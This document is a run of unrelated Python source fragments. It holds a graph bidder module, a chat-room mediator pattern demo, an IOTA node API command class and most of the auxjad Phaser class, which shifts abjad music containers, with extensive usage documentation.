state[feature] = formatter(value) return state @staticmethod def _get_formatter(formatter): return lambda x: formatter(x) if len(x) > 0 else None class Bidder(metaclass=ABCMeta): def compute_bids(self, graph): leaves = self.get_leaves(graph) for leaf in leaves: output_dict = self.get_bid(graph=graph, leaf=leaf) for key, value in output_dict.items(): graph.node[leaf][key] = value return graph @abstractmethod def get_bid(self, *args, **kwargs): pass @staticmethod def get_leaves(graph): leaves = ( n for n in graph.nodes_iter() if graph.node[n].get('is_leaf', graph.node[n].get('is_default_leaf', False)) ) return leaves class ConstantBidder(Bidder): def __init__(self, bid=1., **kwargs): self.bid = bid for key, value in kwargs.items(): setattr(self, key, value) def get_bid(self, *args, **kwargs): return {'output': self.bid} class EstimatorBidder(Bidder): def __init__(self, base_bid=1., estimators=(), **kwargs): self.base_bid = base_bid self.estimators = estimators for key, value in kwargs.items(): setattr(self, key, value) def get_bid(self, *args, **kwargs): graph = kwargs['graph'] leaf = kwargs['leaf'] state = graph.node[leaf]['state'] bid = self.base_bid for estimator in self.estimators: x = estimator.dict_vectorizer(state, **self.__dict__) try: bid *= estimator.predict(x)[0] except TypeError: bid *= estimator.predict(x) return {'output': bid} caio-bernardo/design-patterns-python from abc import ABCMeta, abstractmethod from datetime import datetime class ChatRoomMediator(metaclass=ABCMeta): @abstractmethod def show_message(self, user, message): pass class ChatRoom(ChatRoomMediator): """Mediator""" def show_message(self, user, message): time = datetime.now() sender = user.name print(f'{time} [{sender}]: {message}') class User: def __init__(self, name, chat_mediator): self.name = name self.chat_mediator = chat_mediator def send(self, message): self.chat_mediator.show_message(self, message) if __name__ == '__main__': mediator = ChatRoom() john = User('John', mediator) jane = User('Jane', mediator) josh = User('Josh', mediator) john.send('Hi there!') jane.send('Hi!') john.send('How are you?') jane.send("I'm great, thanks!") josh.send('Hi guys!') # coding=utf-8 from __future__ import absolute_import, division, print_function, \ unicode_literals from iota.commands import FilterCommand, RequestFilter __all__ = [ 'GetNodeAPIConfigurationCommand', ] class GetNodeAPIConfigurationCommand(FilterCommand): """ Executes `getNodeAPIConfiguration` command. See :py:meth:`iota.api.StrictIota.get_node_api_configuration`. """ command = 'getNodeAPIConfiguration' def get_request_filter(self): return GetNodeAPIConfigurationRequestFilter() def get_response_filter(self): pass class GetNodeAPIConfigurationRequestFilter(RequestFilter): def __init__(self): # ``getNodeAPIConfiguration`` does not accept any parameters. # Using a filter here just to enforce that the request is empty. super(GetNodeAPIConfigurationRequestFilter, self).__init__({}) auxjad/core/Phaser.py1-10 import random from typing import Optional, Union import abjad from .. import get, mutate class Phaser(): r"""Takes an |abjad.Container| (or child class) as input and outputs an |abjad.Selection| with leaves shifted by a fixed amount. Subsequent calls apply further shifts. Basic usage: Calling the object will return an |abjad.Selection| generated by the phasing process. Each call of the object will shift the contents of the input container by a fixed amount given by :attr:`step_size`. Note that, by default, the first call outputs the initial container, with subsequent calls phasing it. >>> container = abjad.Container(r"c'4 d'4 e'4 f'4") >>> abjad.show(container) .. docs:: { c'4 d'4 e'4 f'4 } .. figure:: ../_images/Phaser-VjQH8XsyZ6.png >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... ) >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'4 d'4 e'4 f'4 } .. figure:: ../_images/Phaser-953j4yo4hlo.png >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'8. d'16 ~ d'8. e'16 ~ e'8. f'16 ~ f'8. c'16 } .. figure:: ../_images/Phaser-3l0a96vbfbi.png The property :attr:`current_window` can be used to access the current window without moving the head forwards. >>> notes = phaser.current_window() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'8. d'16 ~ d'8. e'16 ~ e'8. f'16 ~ f'8. c'16 } .. figure:: ../_images/Phaser-pn2qf2z6vzr.png :attr:`process_on_first_call`: The very first call will output the input container without processing it. To disable this behaviour and phase on the very first call, initialise the class with the keyword argument :attr:`process_on_first_call` set to ``True``. >>> container = abjad.Container(r"c'4 d'4 e'4 f'4") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... process_on_first_call=True, ... ) >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'8. d'16 ~ d'8. e'16 ~ e'8. f'16 ~ f'8. c'16 } .. figure:: ../_images/Phaser-fx0ywlw5u25.png :attr:`step_size`: The argument :attr:`step_size` is used to step sizes for the phasing process. It takes a :obj:`tuple` or an |abjad.Duration|. >>> container = abjad.Container(r"c'4 d'4 e'4 f'4") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 8), ... ) >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'4 d'4 e'4 f'4 } .. figure:: ../_images/Phaser-zfxas2f5o87.png >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'8 d'4 e'8 ~ e'8 f'4 c'8 } .. figure:: ../_images/Phaser-2e9dzvji4wg.png Using as iterator: The instances of :class:`Phaser` can also be used as an iterator, which can then be used in a for loop to phase through a full cycle. Note that unlike the methods :meth:`output_n` and :meth:`output_all`, time signatures are added to each window returned by the shuffler. Use the function |auxjad.mutate.remove_repeated_time_signatures()| to clean the output when using :class:`Phaser` in this way. >>> container = abjad.Container(r"\time 3/4 c'4 d'4 e'4 ~ e'2.") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 4), ... ) >>> staff = abjad.Staff() >>> for window in phaser: ... staff.append(window) >>> auxjad.mutate.remove_repeated_time_signatures(staff) >>> abjad.show(staff) .. docs:: \new Staff { \time 3/4 c'4 d'4 e'4 ~ e'2. d'4 e'2 ~ e'2 c'4 e'2. ~ e'4 c'4 d'4 e'2. c'4 d'4 e'4 e'2 c'4 d'4 e'2 e'4 c'4 d'4 e'2. } .. figure:: ../_images/Phaser-jd1h0w8pbpp.png Arguments and properties: This class can take many optional keyword arguments during its creation. :attr:`max_steps` sets the maximum number of steps that can be applied for a single call, ranging between ``1`` and the input value (default is also ``1``); if :attr:`max_steps` is set to a value larger than 1, the number of steps at every call will be randomly chosen. :attr:`forward_bias` sets the chance of the process moving forward instead of backwards. It should range from ``0.0`` to ``1.0`` (default ``1.0``, which means the process can only move forwards. A value of ``0.5`` gives 50% chance of moving forwards while a value of ``0.0`` will result in the process moving only backwards). By default, when a logical tie is split in between windows, any unterminated ties will be removed; set :attr:`remove_unterminated_ties` to ``False`` to disable this behaviour. The properties :attr:`boundary_depth`, :attr:`maximum_dot_count`, and :attr:`rewrite_tuplets` are passed as arguments to |abjad.Meter.rewrite_meter()|, see its documentation for more information. By default, calling the object will first return the original container and subsequent calls will process it; set :attr:`process_on_first_call` to ``True`` and the looping process will be applied on the very first call. Setting the property :attr:`omit_time_signatures` to ``True`` will remove all time signatures from the output (``False`` by default). >>> container = abjad.Container(r"c'4 d'4 e'4 f'4") >>> phaser = auxjad.Phaser(container, ... step_size=(5, 8), ... max_steps=2, ... forward_bias=0.2, ... remove_unterminated_ties=True, ... omit_time_signatures=True, ... boundary_depth=0, ... maximum_dot_count=1, ... rewrite_tuplets=False, ... process_on_first_call=True, ... ) >>> phaser.step_size 5/8 >>> phaser.max_steps 2 >>> phaser.forward_bias 0.2 >>> phaser.remove_unterminated_ties True >>> phaser.omit_time_signatures True >>> phaser.boundary_depth 0 >>> phaser.maximum_dot_count 1 >>> phaser.rewrite_tuplets False >>> phaser.process_on_first_call True Use the properties below to change these values after initialisation. >>> phaser.step_size = (1, 4) >>> phaser.max_steps = 3 >>> phaser.forward_bias = 0.8 >>> phaser.remove_unterminated_ties = False >>> phaser.omit_time_signatures = False >>> phaser.boundary_depth = 1 >>> phaser.maximum_dot_count = 2 >>> phaser.rewrite_tuplets = True >>> phaser.process_on_first_call = False >>> phaser.step_size 1/4 >>> phaser.max_steps 3 >>> phaser.forward_bias 0.8 >>> phaser.remove_unterminated_ties False >>> phaser.omit_time_signatures False >>> phaser.boundary_depth 1 >>> phaser.maximum_dot_count 2 >>> phaser.rewrite_tuplets True >>> phaser.process_on_first_call False Setting :attr:`forward_bias` to ``0.0``: Set :attr:`forward_bias` to ``0.0`` to move backwards instead of forwards (default is ``1.0``). >>> container = abjad.Container(r"\time 3/8 c'8 d'8 e'8") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... ) >>> notes = phaser.output_n(3) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 3/8 c'8 d'8 e'8 c'16 d'8 e'8 c'16 d'8 e'8 c'8 } .. figure:: ../_images/Phaser-x1gn7mv4jq.png >>> container = abjad.Container(r"\time 3/8 c'8 d'8 e'8") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... forward_bias=0.0, ... ) >>> notes = phaser.output_n(3) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 3/8 c'8 d'8 e'8 e'16 c'8 d'8 e'16 e'8 c'8 d'8 } .. figure:: ../_images/Phaser-g6y94qiwfro.png :attr:`forward_bias` between ``0.0`` and ``1.0``: Setingt :attr:`forward_bias` to a value in between ``0.0`` and ``1.0`` will result in random steps being taken forward or backward, according to the bias. >>> container = abjad.Container(r"c'4 d'4 e'4 f'4") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 4), ... forward_bias=0.5, ... ) >>> notes = phaser.output_n(5) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'4 d'4 e'4 f'4 d'4 e'4 f'4 c'4 c'4 d'4 e'4 f'4 f'4 c'4 d'4 e'4 c'4 d'4 e'4 f'4 } .. figure:: ../_images/Phaser-lu2p8o1g6p.png :attr:`max_steps`: Setting the keyword argument :attr:`max_steps` to a value larger than ``1`` will result in a random number of steps (between ``1`` and :attr:`max_steps`) being applied at each call. >>> container = abjad.Container(r"c'8 d'8 e'8 f'8 g'8 a'8 b'8 c''8") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 8), ... max_steps=4, ... ) >>> notes = phaser.output_n(5) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'8 d'8 e'8 f'8 g'8 a'8 b'8 c''8 f'8 g'8 a'8 b'8 c''8 c'8 d'8 e'8 c''8 c'8 d'8 e'8 f'8 g'8 a'8 b'8 f'8 g'8 a'8 b'8 c''8 c'8 d'8 e'8 a'8 b'8 c''8 c'8 d'8 e'8 f'8 g'8 } .. figure:: ../_images/Phaser-pvbugjwu5qd.png :func:`len()`: The function :func:`len()` can be used to get the total number of steps that are necessary to return to the initial container. >>> container = abjad.Container(r"c'1") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... ) >>> len(phaser) 16 >>> container = abjad.Container(r"c'1") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 4), ... ) >>> len(phaser) 4 >>> container = abjad.Container(r"\time 3/4 c'2.") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 2), ... ) >>> len(phaser) 3 :meth:`output_all`: To run through the whole process and output it as a single container, from the initial head position until the process outputs the single last element, use the method :meth:`output_all`. >>> container = abjad.Container(r"\time 3/4 c'4. d'4.") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 4), ... ) >>> notes = phaser.output_all() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 3/4 c'4. d'4. c'8 d'4. c'4 d'4 c'4. d'8 c'4. d'4. } .. figure:: ../_images/Phaser-y6r36v26mk7.png ``cycle_back_to_first``: By default, :meth:`output_all` will cycle back to the very first window. To stop at the iteration step just before looping back to the initial container, set the keyword argument ``cycle_back_to_first`` to ``False``. >>> container = abjad.Container(r"\time 3/4 c'4. d'4.") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 4), ... ) >>> notes = phaser.output_all(cycle_back_to_first=False) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 3/4 c'4. d'4. c'8 d'4. c'4 d'4 c'4. d'8 } .. figure:: ../_images/Phaser-1lc6vkz1wuf.png :meth:`output_n`: To run through just part of the process and output it as a single container, starting from the initial head position, use the method :meth:`output_n` and pass the number of iterations as argument. >>> container = abjad.Container(r"c'4 d'4 e'4 f'4") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 32), ... ) >>> notes = phaser.output_n(3) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'4 d'4 e'4 f'4 c'8.. d'32 ~ d'8.. e'32 ~ e'8.. f'32 ~ f'8.. c'32 c'8. d'16 ~ d'8. e'16 ~ e'8. f'16 ~ f'8. c'16 } .. figure:: ../_images/Phaser-ii58nvyi3c.png ``tie_identical_pitches``: Both :meth:`output_n` and :meth:`output_all` methods can receive the keyword argument ``tie_identical_pitches``, which will tie identical pitches across iterations of the process when set to ``True`` (default is ``False``). Compare the output below with the example just above. >>> container = abjad.Container(r"c'4 d'4 e'4 f'4") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 32), ... ) >>> notes = phaser.output_n(3, tie_identical_pitches=True) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'4 d'4 e'4 f'4 c'8.. d'32 ~ d'8.. e'32 ~ e'8.. f'32 ~ f'8.. c'32 ~ c'8. d'16 ~ d'8. e'16 ~ e'8. f'16 ~ f'8. c'16 } .. figure:: ../_images/Phaser-gvzlwz9gol6.png :attr:`remove_unterminated_ties`: All methods that call the phasing process (:meth:`__call__`, :meth:`__next__`, :meth:`output_all`, :meth:`output_n`) remove unterminated ties at the end of a selection, which are a result of a logical tie being split at that point. Use the optional keyword argument ``remove_unterminated_ties=False`` when initialising the phaser to disable this behaviour. >>> container = abjad.Container(r"c'4 d'4 e'4 f'4") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... process_on_first_call=True, ... remove_unterminated_ties=False, ... ) >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'8. d'16 ~ d'8. e'16 ~ e'8. f'16 ~ f'8. c'16 ~ } .. figure:: ../_images/Phaser-hg27xwbz4t.png Time signature changes: This class handles time signature changes. >>> container = abjad.Container( ... r"\time 2/4 c'2 \time 3/8 d'4. \time 2/4 e'2" ... ) >>> phaser = auxjad.Phaser(container, ... step_size=(1, 8), ... ) >>> notes = phaser.output_n(3) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 2/4 c'2 \time 3/8 d'4. \time 2/4 e'2 c'4. d'8 ~ \time 3/8 d'4 e'8 ~ \time 2/4 e'4. c'8 c'4 d'4 ~ \time 3/8 d'8 e'4 ~ \time 2/4 e'4 c'4 } .. figure:: ../_images/Phaser-vw3gfizbkg.png Indicators: This class can handle dynamics and articulations too. When a logical tie is split into two during the phasing process, dynamics and articulations are passed on to both of them. >>> container = abjad.Container(r"c'4-.\p\< d'4--\f e'4->\p f'4") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 8), ... ) >>> staff = abjad.Staff() >>> notes = phaser.output_n(5) >>> staff.append(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'4 \p - \staccato \< d'4 \f - \tenuto e'4 \p - \accent f'4 c'8 - \staccato \< d'4 \f - \tenuto e'8 \p - \accent ~ e'8 f'4 c'8 - \staccato d'4 \f - \tenuto e'4 \p - \accent f'4 c'4 - \staccato d'8 \f - \tenuto e'4 \p - \accent f'8 ~ f'8 c'4 - \staccato d'8 \f - \tenuto e'4 \p - \accent f'4 c'4 - \staccato \< d'4 \f - \tenuto } .. figure:: ../_images/Phaser-978yobu5f2q.png Slurs and hairpins: Slurs and hairpins are also supported. >>> container = abjad.Container( ... r"c'2(\p\< d'4. e'8\f f'4\p\> g'2 a'4\pp)" ... ) >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... ) >>> notes = phaser.output_n(5) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'2 \p \< ( d'4. e'8 \f f'4 \p \> g'2 a'4 \pp ) c'4.. \p \< ( d'16 ~ d'4 ~ d'16 e'8 \f f'16 \p ~ f'8. \> g'16 ~ g'4 ~ g'8. a'16 \pp ~ a'8. ) c'16 \p ( c'4. \< d'8 ~ d'4 e'8 \f f'8 \p ~ f'8 \> g'8 ~ g'4 ~ g'8 a'4 \pp ) c'8 \p ( c'4 ~ c'16 \< d'8. ~ d'8. e'16 \f ~ e'16 f'8. \p ~ f'16 \> g'8. ~ g'4 ~ g'16 a'8. \pp ~ a'16 ) c'8. \p ( c'4 \< d'4 ~ d'8 e'8 \f f'4 \p \> g'2 a'4 \pp ) c'4 \p } .. figure:: ../_images/Phaser-pxj7axmh58e.png .. tip:: The functions |auxjad.mutate.remove_repeated_dynamics()| and |auxjad.mutate.reposition_clefs()| can be used to clean the output and remove repeated dynamics and unnecessary clef changes. .. warning:: Do note that some elements that span multiple notes (such as ottava indicators, manual beams, etc.) can become problematic when notes containing them are split into two. As a rule of thumb, it is always better to attach those to the music after the fading process has ended. :attr:`contents`: Use the :attr:`contents` property to read as well as overwrite the contents of the phaser. Notice that the phasing process will start from the beginning of the new container. >>> container = abjad.Container(r"c'4 d'4 e'4 f'4") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... ) >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'4 d'4 e'4 f'4 } .. figure:: ../_images/Phaser-ns0dbcanp5.png >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'8. d'16 ~ d'8. e'16 ~ e'8. f'16 ~ f'8. c'16 } .. figure:: ../_images/Phaser-utcxb4w611s.png >>> phaser.contents = abjad.Container(r"c'16 d'16 e'16 f'16 g'2.") >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'16 d'16 e'16 f'16 g'2. } .. figure:: ../_images/Phaser-w0whe6c7jp.png >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 d'16 e'16 f'16 g'16 ~ g'2 ~ g'8. c'16 } .. figure:: ../_images/Phaser-cmo73lo14wo.png Tweaking |abjad.Meter.rewrite_meter()|: This function uses the default logical tie splitting algorithm from |abjad.Meter.rewrite_meter()|. >>> container = abjad.Container(r"c'4. d'8 e'2") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... ) >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'4. d'8 e'2 } .. figure:: ../_images/Phaser-uhfkf8mzu4i.png Set :attr:`boundary_depth` to a different number to change its behaviour. >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... boundary_depth=1, ... ) >>> notes = phaser() >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \time 4/4 c'4 ~ c'8 d'8 e'2 } .. figure:: ../_images/Phaser-l6pvwhsj1hh.png Other arguments available for tweaking the output of |abjad.Meter.rewrite_meter()| are :attr:`maximum_dot_count` and :attr:`rewrite_tuplets`, which work exactly as the identically named arguments of |abjad.Meter.rewrite_meter()|. This class also accepts the arguments ``fuse_across_groups_of_beats``, ``fuse_quadruple_meter``, ``fuse_triple_meter``, and ``extract_trivial_tuplets``, which are passed on to |auxjad.mutate.prettify_rewrite_meter()| (the latter can be disabled by setting ``prettify_rewrite_meter`` to ``False``). See the documentation of this function for more details on these arguments. :attr:`omit_time_signatures`: To disable time signatures altogether, initialise this class with the keyword argument :attr:`omit_time_signatures` set to ``True`` (default is ``False``), or use the :attr:`omit_time_signatures` property after initialisation. >>> container = abjad.Container(r"\time 3/4 c'4 d'4 e'4") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 8), ... omit_time_signatures=True, ... ) >>> notes = phaser.output_n(3) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { c'4 d'4 e'4 c'8 d'4 e'4 c'8 d'4 e'4 c'4 } .. figure:: ../_images/Phaser-1rdkecll151.png .. tip:: All methods that return an |abjad.Selection| will add an initial time signature to it. The :meth:`output_n` and :meth:`output_all` methods automatically remove repeated time signatures. When joining selections output by multiple method calls, use |auxjad.mutate.remove_repeated_time_signatures()| on the whole container after fusing the selections to remove any unecessary time signature changes. .. warning:: This class can handle tuplets, but the output is often quite complex. Although the result will be rhythmically correct, consecutive tuplets are not fused together, and tuplets may be output off-beat. This functionality should be considered experimental. >>> container = abjad.Container(r"\times 2/3 {c'8 d'8 e'8} d'2.") >>> phaser = auxjad.Phaser(container, ... step_size=(1, 16), ... ) >>> notes = phaser.output_n(3) >>> staff = abjad.Staff(notes) >>> abjad.show(staff) .. docs:: \new Staff { \times 2/3 { \time 4/4 c'8 d'8 e'8 } d'2. \times 2/3 { c'32 d'16 ~ d'16 e'8 } d'16 ~ d'2 ~ d'8. c'16 \times 2/3 { d'16 e'8 } d'8 ~ d'2 ~ d'8 \times 2/3 { c'8 d'16 } } .. figure:: ../_images/Phaser-lqvc5p5i25b.png """ ### CLASS VARIABLES ### __slots__ = ('_contents', '_pivot_point', '_step_size', '_max_steps', '_forward_bias', '_remove_unterminated_ties', '_current_window', '_is_first_window', '_contents_length', '_omit_time_signatures', '_boundary_depth', '_maximum_dot_count', '_rewrite_tuplets', '_process_on_first_call', '_prettify_rewrite_meter', '_extract_trivial_tuplets', '_fuse_across_groups_of_beats', '_fuse_quadruple_meter', '_fuse_triple_meter', ) ### INITIALISER ### def __init__(self, contents: abjad.Container, *, step_size: Union[int, float, str, tuple[int], abjad.Duration, ], max_steps: int = 1, forward_bias: float = 1.0, process_on_first_call: bool = False, remove_unterminated_ties: bool = True, omit_time_signatures: bool = False, boundary_depth: Optional[int] = None, maximum_dot_count: Optional[int] = None, rewrite_tuplets: bool = True, prettify_rewrite_meter: bool = True, extract_trivial_tuplets: bool = True, fuse_across_groups_of_beats: bool = True, fuse_quadruple_meter: bool = True, fuse_triple_meter: bool = True, ) -> None: r'Initialises self.' self.contents = contents self._pivot_point = abjad.Duration(0) self.step_size = step_size self.max_steps = max_steps self.forward_bias = forward_bias self.remove_unterminated_ties = remove_unterminated_ties self.omit_time_signatures = omit_time_signatures self.boundary_depth = boundary_depth self.maximum_dot_count = maximum_dot_count self.rewrite_tuplets = rewrite_tuplets self.prettify_rewrite_meter = prettify_rewrite_meter self.extract_trivial_tuplets = extract_trivial_tuplets self.fuse_across_groups_of_beats = fuse_across_groups_of_beats self.fuse_quadruple_meter = fuse_quadruple_meter self.fuse_triple_meter = fuse_triple_meter self.process_on_first_call = process_on_first_call self._is_first_window = True ### SPECIAL METHODS ### def __repr__(self) -> str: r'Returns interpreter representation of :attr:`contents`.' return abjad.lilypond(self._contents) def __len__(self) -> int: r"""Returns the length of :attr:`contents` in terms of :attr:`step_size`. """ proportion = self._contents_length / self._step_size return int(proportion * proportion.denominator) def __call__(self) -> abjad.Selection: r"""Calls the phaser process for one iteration, returning an |abjad.Selection|. """ if not self._is_first_window or self._process_on_first_call: self._move_pivot_point() self._make_music() self._is_first_window = False return self.current_window def __next__(self) -> abjad.Selection: r"""Calls the phaser process for one iteration, returning an |abjad.Selection|. """ if not self._is_first_window or self._process_on_first_call: self._move_pivot_point() if self._done: raise StopIteration self._make_music() self._is_first_window = False return self.current_window def __iter__(self) -> None: r'Returns an iterator, allowing instances to be used as iterators.' return self ### PUBLIC METHODS ### def output_all(self, *, cycle_back_to_first: bool = True, tie_identical_pitches: bool = False, ) -> abjad.Selection: r"""Goes through the whole phasing process and outputs a single |abjad.Selection|. """ if not isinstance(cycle_back_to_first, bool): raise TypeError("'cycle_back_to_first' must be 'bool'") if not isinstance(tie_identical_pitches, bool): raise TypeError("'tie_identical_pitches' must be 'bool'") dummy_container = abjad.Container() while True: selection = self.__call__() if not self._done: if tie_identical_pitches: self._tie_identical_pitches(selection, dummy_container) dummy_container.append(selection) else: break if cycle_back_to_first: if tie_identical_pitches: self._tie_identical_pitches(selection, dummy_container) dummy_container.append(selection) mutate.remove_repeated_time_signatures(dummy_container[:]) mutate.reposition_dynamics(dummy_container[:]) mutate.reposition_slurs(dummy_container[:]) output = dummy_container[:] dummy_container[:] = [] return output def output_n(self, n: int, *, tie_identical_pitches: bool = False, ) -> abjad.Selection: r"""Goes through ``n`` iterations of the phasing process and outputs a single |abjad.Selection|. """ if not isinstance(n, int): raise TypeError("first positional argument must be 'int'") if n < 1: raise ValueError("first positional argument must be a positive " "'int'") if not isinstance(tie_identical_pitches, bool): raise TypeError("'tie_identical_pitches' must be 'bool'") dummy_container = abjad.Container() for _ in range(n): selection = self.__call__() if tie_identical_pitches: self._tie_identical_pitches(selection, dummy_container) dummy_container.append(selection) mutate.remove_repeated_time_signatures(dummy_container[:]) mutate.reposition_dynamics(dummy_container[:]) mutate.reposition_slurs(dummy_container[:]) output = dummy_container[:] dummy_container[:] = [] return output ### PRIVATE METHODS ### def _move_pivot_point(self) -> None: r"""Moves the pivot point by a certain number of steps of fixed size, either forwards or backwards according to the forward bias. """ step = self._step_size * random.randint(1, self._max_steps) diretion = self._biased_choice(self._forward_bias) self._pivot_point += step * diretion def _make_music(self) -> None: r'Applies the phasing process and handles the output container.' dummy_container = self._phase_contents() # dealing with dynamics mutate.reposition_dynamics(dummy_container[:]) # adding time signatures back and rewriting meter time_signatures = get.time_signature_list( self._contents, do_not_use_none=True, ) mutate.enforce_time_signature( dummy_container, time_signatures, boundary_depth=self._boundary_depth, maximum_dot_count=self._maximum_dot_count, rewrite_tuplets=self._rewrite_tuplets, prettify_rewrite_meter=self._prettify_rewrite_meter, extract_trivial_tuplets=self._extract_trivial_tuplets, fuse_across_groups_of_beats=self._fuse_across_groups_of_beats, fuse_quadruple_meter=self._fuse_quadruple_meter, fuse_triple_meter=self._fuse_triple_meter, ) self._current_window = dummy_container[:] dummy_container[:] = [] def _phase_contents(self) -> abjad.Container: r"""This method phases :attr:`contents` using ``_pivot_point`` as the pivot point. """ dummy_container = abjad.mutate.copy(self._contents) pivot = self._pivot_point % self._contents_length # splitting leaves at both slicing points if pivot > abjad.Duration(0): abjad.mutate.split(dummy_container[:], [pivot]) # finding start and end indeces for the window for start in range(len(dummy_container)): if (abjad.get.duration(dummy_container[:start + 1]) > pivot): break last_leaf = dummy_container[:start].leaf(-1) # copying indicators to both leaves indicators_tuple = (abjad.Articulation, abjad.Clef, abjad.Dynamic, abjad.Fermata, abjad.KeySignature, abjad.LilyPondLiteral, abjad.MetronomeMark, abjad.Ottava, abjad.StaffChange, abjad.StartHairpin, abjad.StartPhrasingSlur, abjad.StartSlur, abjad.StopHairpin, abjad.StopPhrasingSlur, abjad.StopSlur, ) if abjad.get.indicator(last_leaf, abjad.Tie): # i.e. split for indicator in abjad.get.indicators(last_leaf): if isinstance(indicator, indicators_tuple): first_leaf = dummy_container[start:].leaf(0) abjad.attach(indicator, first_leaf) # removing ties of splitted logical tie if necessary if (self._remove_unterminated_ties and abjad.get.indicator(last_leaf, abjad.Tie)): abjad.detach(abjad.Tie, last_leaf) # joining two subcontainers dummy_end_container = abjad.Container( abjad.mutate.copy(dummy_container[:start]) ) dummy_container = abjad.Container( abjad.mutate.copy(dummy_container[start:]) ) dummy_container.extend(dummy_end_container) dummy_end_container[:] = [] return dummy_container def _get_lilypond_format(self) -> str: r'Returns interpreter representation of :attr:`contents`.' return self.__repr__() @staticmethod def _tie_identical_pitches(currrent_selection, previous_container, ) -> None: r'Ties identical pitches when joining windows.' if len(previous_container) == 0: return first_leaf = currrent_selection.leaf(0) last_leaf = abjad.select(previous_container).leaf(-1) if (get.leaves_are_tieable((first_leaf, last_leaf)) and not abjad.get.indicator(last_leaf, abjad.Tie)): abjad.attach(abjad.Tie(), last_leaf) @staticmethod def _biased_choice(bias) -> None: r'Returns either +1 or -1 according to a bias value.' return random.choices([1, -1], weights=[bias, 1.0 - bias])[0] @staticmethod def _remove_all_time_signatures(container) -> None: r'Removes all time signatures of an |abjad.Container|.' for leaf in abjad.select(container).leaves(): if abjad.get.effective(leaf, abjad.TimeSignature): abjad.detach(abjad.TimeSignature, leaf) ### PUBLIC PROPERTIES ### @property def contents(self) -> abjad.Container: r'The |abjad.Container| to be phased.' return abjad.mutate.copy(self._contents) @contents.setter def contents(self, contents: abjad.Container, ) -> None: if not isinstance(contents, abjad.Container): raise TypeError("'contents' must be 'abjad.Container' or " "child class") if not abjad.select(contents).leaves().are_contiguous_logical_voice(): raise ValueError("'contents' must be contiguous logical voice") if isinstance(contents, abjad.Score): self._contents = abjad.mutate.copy(contents[0]) elif isinstance(contents, abjad.Tuplet): self._contents = abjad.Container([abjad.mutate.copy(contents)]) else: self._contents = abjad.mutate.copy(contents) dummy_container = abjad.mutate.copy(contents) self._current_window = dummy_container[:] dummy_container[:] = [] self._contents_length = abjad.get.duration(self._contents[:]) self._pivot_point = abjad.Duration(0) self._is_first_window = True @property def current_window(self) -> abjad.Selection: r'Read-only property, returns the previously output selection.' current_window = abjad.mutate.copy(self._current_window) if self._omit_time_signatures: self._remove_all_time_signatures(current_window) return current_window @property def pivot_point(self) -> abjad.Duration: r'Read-only property, returns the position of the pivot point.' return self._pivot_point @property def step_size(self) -> abjad.Duration: r'The size of each step when moving the pivot point.' return self._step_size @step_size.setter def step_size(self, step_size: Union[int, float, str, tuple[int], abjad.Duration, ], ) -> None: if not isinstance(step_size, (abjad.Duration, str, tuple, int, float)): raise 